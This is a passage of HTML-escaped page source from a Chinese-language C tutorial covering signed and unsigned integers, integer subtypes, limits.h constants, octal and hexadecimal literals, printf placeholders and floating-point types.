a;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例声明了一个整数变量\u003ccode\u003ea\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e不同计算机的\u003ccode\u003eint\u003c/code\u003e类型的大小是不一样的。比较常见的是使用4个字节(32位)存储一个\u003ccode\u003eint\u003c/code\u003e类型的值,但是2个字节(16位)或8个字节(64位)也有可能使用。它们可以表示的整数范围如下。\u003c/p\u003e\u003cul\u003e\u003cli\u003e16位:-32,768 到 32,767。\u003c/li\u003e\u003cli\u003e32位:-2,147,483,648 到 2,147,483,647。\u003c/li\u003e\u003cli\u003e64位:-9,223,372,036,854,775,808 到 9,223,372,036,854,775,807。\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"signed,unsigned\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#signed%EF%BC%8Cunsigned\" class=\"headerlink\" title=\"signed,unsigned\"\u003e\u003c/a\u003esigned,unsigned\u003c/h4\u003e\u003cp\u003eC 语言使用\u003ccode\u003esigned\u003c/code\u003e关键字,表示一个类型带有正负号,包含负值;使用\u003ccode\u003eunsigned\u003c/code\u003e关键字,表示该类型不带有正负号,只能表示零和正整数。\u003c/p\u003e\u003cp\u003e对于\u003ccode\u003eint\u003c/code\u003e类型,默认是带有正负号的,也就是说\u003ccode\u003eint\u003c/code\u003e等同于\u003ccode\u003esigned int\u003c/code\u003e。由于这是默认情况,关键字\u003ccode\u003esigned\u003c/code\u003e一般都省略不写,但是写了也不算错。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003esigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003eint\u003c/code\u003e类型也可以不带正负号,只表示非负整数。这时就必须使用关键字\u003ccode\u003eunsigned\u003c/code\u003e声明变量。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e整数变量声明为\u003ccode\u003eunsigned\u003c/code\u003e的好处是,同样长度的内存能够表示的最大整数值,增大了一倍。比如,16位的\u003ccode\u003esigned int\u003c/code\u003e最大值为32,767,而\u003ccode\u003eunsigned int\u003c/code\u003e的最大值增大到了65,535。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eunsigned int\u003c/code\u003e里面的\u003ccode\u003eint\u003c/code\u003e可以省略,所以上面的变量声明也可以写成下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e字符类型\u003ccode\u003echar\u003c/code\u003e也可以设置\u003ccode\u003esigned\u003c/code\u003e和\u003ccode\u003eunsigned\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003esigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e c; \u003cspan class=\"comment\"\u003e// 范围为 -128 到 127\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e c; \u003cspan class=\"comment\"\u003e// 范围为 0 到 255\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,C 语言规定\u003ccode\u003echar\u003c/code\u003e类型默认是否带有正负号,由当前系统决定。这就是说,\u003ccode\u003echar\u003c/code\u003e不等同于\u003ccode\u003esigned char\u003c/code\u003e,它有可能是\u003ccode\u003esigned char\u003c/code\u003e,也有可能是\u003ccode\u003eunsigned char\u003c/code\u003e。这一点与\u003ccode\u003eint\u003c/code\u003e不同,\u003ccode\u003eint\u003c/code\u003e就是等同于\u003ccode\u003esigned int\u003c/code\u003e。\u003c/p\u003e\u003ch4 id=\"整数的子类型\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%95%B4%E6%95%B0%E7%9A%84%E5%AD%90%E7%B1%BB%E5%9E%8B\" class=\"headerlink\" title=\"整数的子类型\"\u003e\u003c/a\u003e整数的子类型\u003c/h4\u003e\u003cp\u003e如果\u003ccode\u003eint\u003c/code\u003e类型使用4个或8个字节表示一个整数,对于小整数,这样做很浪费空间。另一方面,某些场合需要更大的整数,8个字节还不够。为了解决这些问题,C 语言在\u003ccode\u003eint\u003c/code\u003e类型之外,又提供了三个整数的子类型。这样有利于更精细地限定整数变量的范围,也有利于更好地表达代码的意图。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eshort int\u003c/code\u003e(简写为\u003ccode\u003eshort\u003c/code\u003e):占用空间不多于\u003ccode\u003eint\u003c/code\u003e,一般占用2个字节(整数范围为-32768~32767)。\u003c/li\u003e\u003cli\u003e\u003ccode\u003elong int\u003c/code\u003e(简写为\u003ccode\u003elong\u003c/code\u003e):占用空间不少于\u003ccode\u003eint\u003c/code\u003e,至少为4个字节。\u003c/li\u003e\u003cli\u003e\u003ccode\u003elong long int\u003c/code\u003e(简写为\u003ccode\u003elong long\u003c/code\u003e):占用空间多于\u003ccode\u003elong\u003c/code\u003e,至少为8个字节。\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eshort\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e c;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码分别声明了三种整数子类型的变量。\u003c/p\u003e\u003cp\u003e默认情况下,\u003ccode\u003eshort\u003c/code\u003e、\u003ccode\u003elong\u003c/code\u003e、\u003ccode\u003elong long\u003c/code\u003e都是带符号的(signed),即\u003ccode\u003esigned\u003c/code\u003e关键字省略了。它们也可以声明为不带符号(unsigned),使得能够表示的最大值扩大一倍。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eshort\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e c;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eC 语言允许省略\u003ccode\u003eint\u003c/code\u003e,所以变量声明语句也可以写成下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eshort\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eshort\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e c;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e不同的计算机,数据类型的字节长度是不一样的。确实需要32位整数时,应使用\u003ccode\u003elong\u003c/code\u003e类型而不是\u003ccode\u003eint\u003c/code\u003e类型,可以确保不少于4个字节;确实需要64位的整数时,应该使用\u003ccode\u003elong long\u003c/code\u003e类型,可以确保不少于8个字节。另一方面,为了节省空间,只需要16位整数时,应使用\u003ccode\u003eshort\u003c/code\u003e类型;需要8位整数时,应该使用\u003ccode\u003echar\u003c/code\u003e类型。\u003c/p\u003e\u003ch4 id=\"整数类型的极限值\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%95%B4%E6%95%B0%E7%B1%BB%E5%9E%8B%E7%9A%84%E6%9E%81%E9%99%90%E5%80%BC\" class=\"headerlink\" title=\"整数类型的极限值\"\u003e\u003c/a\u003e整数类型的极限值\u003c/h4\u003e\u003cp\u003e有时候需要查看,当前系统不同整数类型的最大值和最小值,C 语言的头文件\u003ccode\u003elimits.h\u003c/code\u003e提供了相应的常量,比如\u003ccode\u003eSCHAR_MIN\u003c/code\u003e代表 signed char 类型的最小值\u003ccode\u003e-128\u003c/code\u003e,\u003ccode\u003eSCHAR_MAX\u003c/code\u003e代表 signed char 类型的最大值\u003ccode\u003e127\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e为了代码的可移植性,需要知道某种整数类型的极限值时,应该尽量使用这些常量。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eSCHAR_MIN\u003c/code\u003e,\u003ccode\u003eSCHAR_MAX\u003c/code\u003e:signed char 的最小值和最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSHRT_MIN\u003c/code\u003e,\u003ccode\u003eSHRT_MAX\u003c/code\u003e:short 的最小值和最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eINT_MIN\u003c/code\u003e,\u003ccode\u003eINT_MAX\u003c/code\u003e:int 的最小值和最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eLONG_MIN\u003c/code\u003e,\u003ccode\u003eLONG_MAX\u003c/code\u003e:long 的最小值和最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eLLONG_MIN\u003c/code\u003e,\u003ccode\u003eLLONG_MAX\u003c/code\u003e:long long 的最小值和最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eUCHAR_MAX\u003c/code\u003e:unsigned char 的最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eUSHRT_MAX\u003c/code\u003e:unsigned short 的最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eUINT_MAX\u003c/code\u003e:unsigned int 的最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eULONG_MAX\u003c/code\u003e:unsigned long 的最大值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eULLONG_MAX\u003c/code\u003e:unsigned long long 的最大值。\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"整数的进制\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%95%B4%E6%95%B0%E7%9A%84%E8%BF%9B%E5%88%B6\" class=\"headerlink\" title=\"整数的进制\"\u003e\u003c/a\u003e整数的进制\u003c/h4\u003e\u003cp\u003eC 语言的整数默认都是十进制数,如果要表示八进制数和十六进制数,必须使用专门的表示法。\u003c/p\u003e\u003cp\u003e八进制使用\u003ccode\u003e0\u003c/code\u003e作为前缀,比如\u003ccode\u003e017\u003c/code\u003e、\u003ccode\u003e0377\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a = \u003cspan class=\"number\"\u003e012\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 八进制,相当于十进制的10\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e十六进制使用\u003ccode\u003e0x\u003c/code\u003e或\u003ccode\u003e0X\u003c/code\u003e作为前缀,比如\u003ccode\u003e0xf\u003c/code\u003e、\u003ccode\u003e0X10\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a = \u003cspan class=\"number\"\u003e0x1A2B\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 十六进制,相当于十进制的6699\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e有些编译器使用\u003ccode\u003e0b\u003c/code\u003e前缀,表示二进制数,但不是标准。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e0b101010\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,不同的进制只是整数的书写方法,不会对整数的实际存储方式产生影响。所有整数都是二进制形式存储,跟书写方式无关。不同进制可以混合使用,比如\u003ccode\u003e10 + 015 + 0x20\u003c/code\u003e是一个合法的表达式。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eprintf()\u003c/code\u003e的进制相关占位符如下。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e%d\u003c/code\u003e:十进制整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%o\u003c/code\u003e:八进制整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%x\u003c/code\u003e:十六进制整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%#o\u003c/code\u003e:显示前缀\u003ccode\u003e0\u003c/code\u003e的八进制整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%#x\u003c/code\u003e:显示前缀\u003ccode\u003e0x\u003c/code\u003e的十六进制整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%#X\u003c/code\u003e:显示前缀\u003ccode\u003e0X\u003c/code\u003e的十六进制整数。\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e100\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;dec = %d\\n\u0026#34;\u003c/span\u003e, x); \u003cspan class=\"comment\"\u003e// 100\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;octal = %o\\n\u0026#34;\u003c/span\u003e, x); \u003cspan class=\"comment\"\u003e// 144\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;hex = %x\\n\u0026#34;\u003c/span\u003e, x); \u003cspan class=\"comment\"\u003e// 64\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;octal = %#o\\n\u0026#34;\u003c/span\u003e, x); \u003cspan class=\"comment\"\u003e// 0144\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;hex = %#x\\n\u0026#34;\u003c/span\u003e, x); \u003cspan class=\"comment\"\u003e// 0x64\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;hex = %#X\\n\u0026#34;\u003c/span\u003e, x); \u003cspan class=\"comment\"\u003e// 0X64\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"浮点数类型\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%B5%AE%E7%82%B9%E6%95%B0%E7%B1%BB%E5%9E%8B\" class=\"headerlink\" title=\"浮点数类型\"\u003e\u003c/a\u003e浮点数类型\u003c/h3\u003e\u003cp\u003e任何有小数点的数值,都会被编译器解释为浮点数。所谓“浮点数”就是使用 m * b\u003csup\u003ee\u003c/sup\u003e 的形式,存储一个数值,\u003ccode\u003em\u003c/code\u003e是小数部分,\u003ccode\u003eb\u003c/code\u003e是基数(通常是\u003ccode\u003e2\u003c/code\u003e),\u003ccode\u003ee\u003c/code\u003e是指数部分。这种形式是精度和数值范围的一种结合,可以表示非常大或者非常小的数。\u003c/p\u003e\u003cp\u003e浮点数的类型声明使用\u003ccode\u003efloat\u003c/code\u003e关键字,可以用来声明浮点数变量。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e c = \u003cspan class=\"number\"\u003e10.5\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ec\u003c/code\u003e的就是浮点数类型。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efloat\u003c/code\u003e类型占用4个字节(32位),其中8位存放指数的值和符号,剩下24位存放小数的值和符号。\u003ccode\u003efloat\u003c/code\u003e类型至少能够提供(十进制的)6位有效数字,指数部分的范围为(十进制的)\u003ccode\u003e-37\u003c/code\u003e到\u003ccode\u003e37\u003c/code\u003e,即数值范围为10\u003csup\u003e-37\u003c/sup\u003e到10\u003csup\u003e37\u003c/sup\u003e。\u003c/p\u003e\u003cp\u003e有时候,32位浮点数提供的精度或者数值范围还不够,C 语言又提供了另外两种更大的浮点数类型。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003edouble\u003c/code\u003e:占用8个字节(64位),至少提供13位有效数字。\u003c/li\u003e\u003cli\u003e\u003ccode\u003elong double\u003c/code\u003e:通常占用16个字节。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e注意,由于存在精度限制,浮点数只是一个近似值,它的计算是不精确的,比如 C 语言里面\u003ccode\u003e0.1 + 0.2\u003c/code\u003e并不等于\u003ccode\u003e0.3\u003c/code\u003e,而是有一个很小的误差。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"number\"\u003e0.1\u003c/span\u003e + \u003cspan class=\"number\"\u003e0.2\u003c/span\u003e == \u003cspan class=\"number\"\u003e0.3\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// false\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eC 语言允许使用科学计数法表示浮点数,使用字母\u003ccode\u003ee\u003c/code\u003e来分隔小数部分和指数部分。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e x = \u003cspan class=\"number\"\u003e123.456e+3\u003c/span\u003e; \u003cspan 